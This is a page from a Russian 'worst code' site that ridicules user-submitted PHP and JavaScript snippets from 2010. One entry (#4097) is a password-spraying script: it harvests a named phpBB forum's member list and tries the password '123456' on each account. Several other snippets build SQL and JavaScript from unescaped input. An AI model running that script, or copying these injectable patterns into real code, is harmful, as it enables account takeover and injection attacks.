1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #4152

    +159

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    /**
    	     	 * Устанавливаем настройки соединения, по хорошему этого здесь не должно быть :)
    	     	 * считайте это костылём
    	     	 */
            	$oDbSimple->query("set character_set_client='utf8'");
            	$oDbSimple->query("set character_set_results='utf8'");
            	$oDbSimple->query("set collation_connection='utf8_bin'");

    Зато честно =) Взято из LiveStreet, файл Database.class.php

    hybroid, 02 Сентября 2010

    Комментарии (53)
  3. JavaScript / Говнокод #4145

    +159

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    if(this.sideEnd=='none')
    {
    	if(this.d_obj_ll.style.display!='block')
    		this.d_obj_ll.style.display='block';
    	if(this.d_obj_lr.style.display!='block')
    		this.d_obj_lr.style.display='block';
    }

    Я такое писал когда только-только учился программировать. А тут "серьезная контора"...

    IHateBidloKod, 01 Сентября 2010

    Комментарии (2)
  4. JavaScript / Говнокод #4131

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    echo "<script type='text/javascript'>  
    function checksubmit ( form )
                {  ";
        echo "if (acton) {";
    $get_count_parts="SELECT PartID, ProdDesc FROM Pr2  WHERE  ProdID='".$_SESSION["ProdID"]."' AND FOblig='*'";
    $get_count_parts1=mysql_query($get_count_parts);
    while ($pr=mysql_fetch_assoc($get_count_parts1))
    {
        echo"var zart".$pr['PartID']."=document.getElementsByName('21_".$pr['PartID']."')[0].value;
                  var name".$pr['PartID']."=document.getElementsByName('14_".$pr['PartID']."')[0].value;";    
    }
    echo "var curr=document.getElementsByName('20_1')[0].value;
              if (curr=='') { alert('Currency was not specified'); return false;}";
    $get_count_parts2=mysql_query($get_count_parts);
    while ($pr=mysql_fetch_assoc($get_count_parts2))
    {
        echo"else if (zart".$pr['PartID']."=='' &&  name".$pr['PartID']."!='') {alert('Art for ".$pr['ProdDesc']." was not specified'); return false;}";    
    }
    echo "}  return true; 
             } </script>";

    Born, 31 Августа 2010

    Комментарии (8)
  5. PHP / Говнокод #4097

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    define(hostname, 'http://phpbbforum.ru');
    $file = './txt/users_phpbb.txt';
    function get_users($data)
    {
    preg_match_all('!">(.*?)</a></b>!', $data, $users);
    return $users[1];
    }
    
    function get_num_users($data)
    {
    preg_match_all('!">(.*?)</a></b>!', $data, $users);
    return count($users[1]);
    }
    
    function get_num_pages($data)
    {
    preg_match('!">(\d{1,8})</a><form action!', $data, $num_pages);
    return $num_pages[1];
    }
    
    function curl_header($url)
    {
    $ch = curl_init ($url);
    curl_setopt($ch, CURLOPT_USERAGENT, useragent);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }
    
    function brut($url)
    {
    $data = curl_header($url);
    $count = substr_count($data, 'Cookie');
    if($count == 2)
    return false;
    else
    return true;
    }
    function get_pages($num)
    {
    global $users_per_page;
    for($i = 0; $i<$num; $i++)
    $data .= req(hostname . '/memberlist.php?mode=posts&order=DESC&start=' . $users_per_page * $i);
    return $data;
    }
    if(!file_exists($file))
    {
    $data = req(hostname.'/memberlist.php');
    $users_per_page = get_num_users($data);
    $num_pages = get_num_pages($data);
    $pages = get_pages($num_pages);
    $users = get_users($pages);
    $fp = fopen($file, 'w');
    $users = implode("\n", $users);
    fputs($fp, $users);
    fclose($fp);
    }
    $users = file_get_contents($file);
    $users = explode("\n", $users);
    $count = count($users);
    $pass = '123456';
    for($i = 0; $i<$count; $i++)
    {
    if( brut(hostname.'/login.php?username='.urlencode($users[$i])."&password=$pass") )
    $good[] = $users[$i];
    }
    $fp = fopen("./txt/$pass.txt", 'a+');
    fputs($fp, implode("\n", $good));
    fclose($fp);
    print_r($good);

    Coder, 25 Августа 2010

    Комментарии (5)
  6. JavaScript / Говнокод #4064

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    function BBCalign(value) {
     var txtarea = document.post.message;
     if ((clientVer >= 4) && is_ie && is_win) {
      theSelection = document.selection.createRange().text;
      if (theSelection != '') {
      document.selection.createRange().text = "[align="+value+"]" + theSelection + "[/align]";
      document.post.message.focus();
      return;
      }
     }
     else if (txtarea.selectionEnd && (txtarea.selectionEnd - txtarea.selectionStart > 0))
     {
      mozWrap(txtarea, "[align="+value+"]", "[/align]");
      return;
     }
     if (value == 'justify')
     {
      if (justify == 0) {
       ToAdd = "[align=justify]";
       $(document.post.justify).addClass('bold');
       justify = 1;
      } else {
       ToAdd = "[/align]";
       $(document.post.justify).removeClass('bold');
       justify = 0;
      }
        }
        else if (value == 'right')
        {
         if (right == 0) {
       ToAdd = "[align=right]";
       $(document.post.right).addClass('bold');
       right = 1;
      } else {
       ToAdd = "[/align]";
       $(document.post.right).removeClass('bold');
       right = 0;
      }
        }
        else if (value == 'center')
        {
         if (center == 0) {
       ToAdd = "[align=center]";
       $(document.post.center).addClass('bold');
       center = 1;
      } else {
       ToAdd = "[/align]";
       $(document.post.center).removeClass('bold');
       center = 0;
      }
        }
        else if (value == 'left')
        {
         if (left == 0) {
       ToAdd = "[align=left]";
       $(document.post.left).addClass('bold');
       left = 1;
      } else {
       ToAdd = "[/align]";
       $(document.post.left).removeClass('bold');
       left = 0;
      }
        }
     mozWrap2(txtarea, ToAdd);
    }

    jQuery + Dom

    PandoraBox2007, 22 Августа 2010

    Комментарии (0)
  7. PHP / Говнокод #4047

    +159

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    function redirect($location,$time)
    
    {
    
    	$time=$time*1000;
    
    	echo "<script>setTimeout(\"top.location.href='".$location."'\",".$time.");</script>";
    
    }

    Самописный движок этой фирмы http://www.newartline.ru. Это редирект там полно такого пока читал думал легкие выплюну:)

    moonie, 21 Августа 2010

    Комментарии (6)
  8. PHP / Говнокод #4023

    +159

    1. 1
    2. 2
    3. 3
    4. 4
    foreach($db_top_list as $key=>$info) {
        // много кода...
        $top_list[$key] = $info;
    }

    Зачем плодить переменные?

    scorpil, 18 Августа 2010

    Комментарии (6)
  9. PHP / Говнокод #3965

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    <?php
    $result2 = mysql_query("SELECT id,title FROM menu",$db);
    if (!$result2)
    {
    echo "<p>Запрос на выборку из базы не прошел.<br>Код ошибки:</p>";
    exit(mysql_error());
       }
    if (mysql_num_rows($result2) > 0)
    {
    $myrow2 = mysql_fetch_array($result2);
    do
    {
    printf ("<p class='menu1'><a class=menu href='podelkin.php?cat=%s'>%s</a></p>",$myrow2["id"], $myrow2["title"]);
       }
    
    $cat=$myrow2 ["id"]
    
    $result3 = mysql_query("SELECT id,title FROM data WHERE cat=$cat",$db);
    if (!$result3)
    {
    echo "<p>Запрос на выборку из базы не прошел.<br>Код ошибки:</p>";
    exit(mysql_error());
       }
    if (mysql_num_rows($result3) > 0)
    {
    $myrow3 = mysql_fetch_array($result3);
    do
    {
    printf ("<p class='menu1'><a class=menu href='podelkin_post.php?cat=%s'>%s</a></p>",$myrow3["id"], $myrow3["title"]);
       }
    while ($myrow3 = mysql_fetch_array($result3));
       }
    while ($myrow2 = mysql_fetch_array($result2));
       }
    else
    {
    echo "<p>Информация по запросу неможет быть извлечена в таблице нет записей</p>";
    exit ();
       }
    ?>

    Открыл форум Евгения Попова. Раздел РНР.
    Первый попавшийся топик.

    http://ruseller-board.com/viewtopic.php?f=41&t=4777

    Это, наверно, конкурент говнокода.ру

    Такие дела.

    mrbig66, 13 Августа 2010

    Комментарии (2)
  10. JavaScript / Говнокод #3960

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    function setmenu(fid,a)
    {
      try
      {
        ma=eval("menu"+a)
        ra=eval("razz"+a)
        if(fid=="raz"+a)
        {
          lft=ra.offsetLeft+gentab.offsetLeft+menubeg.offsetLeft+menu.offsetLeft;
    
          ua=navigator.userAgent.toLowerCase();
          isIE        = ((ua.indexOf("msie")!= -1) && (ua.indexOf("opera") == -1) && (ua.indexOf("webtv") == -1)); 
          isGecko     = (ua.indexOf("gecko")     != -1);
          isSafari    = (ua.indexOf("safari")    != -1);
          isKonqueror = (ua.indexOf("konqueror") != -1);
          isOpera     = (ua.indexOf("opera") != -1)
          if(isIE)
          {
            ma.style.top=66;
          }
          else
          {
            ma.style.top=59;
            if(isOpera) ma.style.top=51;       
          }
          if(a==6)ma.style.top=30;
          if(a==5)
          {
            if((!isIE)&&(!isOpera))lft=672;
          }
          ma.style.left=lft;
    
          if(lft+ma.offsetWidth>gentab.offsetLeft+gentab.offsetWidth)
          {
            ma.style.left=gentab.offsetLeft+gentab.offsetWidth-(ma.offsetWidth+2)
          }
          ma.style.visibility="visible";
          ma.style.zIndex=100;
          if(menu_old!=a)
          {
            eval('menu'+menu_old).style.visibility="hidden"
          }
          menu_old=a
        }
      }
      catch(err)
      {
      }
    }

    http://www.softgrad.com/softgrad.js
    (контора уебдевелоперов)
    вот так "microsoft certified partner-ы" решают вопрос кроссбарузерной верстки.

    Alfred, 12 Августа 2010

    Комментарии (3)
  11. PHP / Говнокод #3887

    +159

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    if (isset($_GET['worker_submit'])){
      $_POST['worker_submit']='true';
    }
    
    // ..... (строк 300 кода)
    
    if (isset($_POST['worker_submit'])){
      // ..... пошли-поехали
    }

    автор не знал ни про глобальный массив $_REQUEST ни про логический тип данных. Зато работает.

    safron, 06 Августа 2010

    Комментарии (4)